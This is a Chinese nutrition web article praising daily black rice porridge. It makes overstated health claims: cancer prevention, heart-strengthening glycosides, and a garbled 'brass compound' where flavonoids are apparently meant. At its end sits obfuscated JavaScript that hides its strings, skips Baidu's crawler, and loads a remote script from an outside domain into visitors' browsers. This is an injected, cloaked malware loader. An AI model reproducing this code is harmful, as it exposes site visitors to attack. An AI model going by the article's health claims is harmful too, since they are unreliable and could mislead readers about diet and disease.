当前位置:首页 > 饮食 > 食物营养 > 正文

每天吃黑米粥好吗?有哪些好处?

2017-07-07 11:07:27  来源:360常识网   热度:
导语:黑米属于五谷杂粮的一种,相信大家在平时都吃过,总是会做成粗粮粥食用。大家可能都知道黑米中含有丰富的膳食纤维等营养物质,经常食用对身

黑米属于五谷杂粮的一种,相信大家在平时都吃过,总是会做成粗粮粥食用。大家可能都知道黑米中含有丰富的膳食纤维等营养物质,经常食用对身体的好处有很多,那具体是能够发挥什么样的功效呢?对这么深入的问题可能就了解的比较少了,接下来就让小编来详细的讲一下吧。

黑米中含有一种黄铜类化合物的物质,这种黄铜物化合物具有保持血管正常运行的作用,可预防动脉硬化,尤其对于高血压的患者来说,可减少由于高血压或者一些其它的心血管疾病引起的血管破裂问题,简单的说来就是吃黑米对于维持心血管健康就具有很大的帮助。

黑米同普通的大米比起来也具有很多的营养素,且维生素C的含量却是相当高的,还有丰富的叶绿素和花青素,具有清心平目,滋阴补肾之功效,对经常用眼、长时间久坐、视物模糊的人群来说,日常多吃点黑米也可起到一个预防亚健康的作用。同时黑米中的强心甙的成份,有助于强壮心脏,对于那些易疲劳,气喘的人也可以起到很好的防治效果。

黑米还有清除体内自由基的作用,可以适当的调节人体的免疫功能。再者黑米本身还具有抗菌等作用,因此对提高身体的免疫力,对预防现代人高发的各种癌症也有着很大的帮助。另外,如果肾虚的话,也可以在日常多吃黑米,起到一个补肾壮体的作用。常喝黑米更有助于延缓衰老和保持年轻的状态。

这篇文章对黑米的营养价值作出了较为详细的阐述,在了解到它有这么多的好处时,是不是恨不得每天都煮黑米粥吃呢?不过小编建议大家凡事都要掌握一个度,千万不能一次性食用过多,否则可能就会引发一些副作用的出现。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}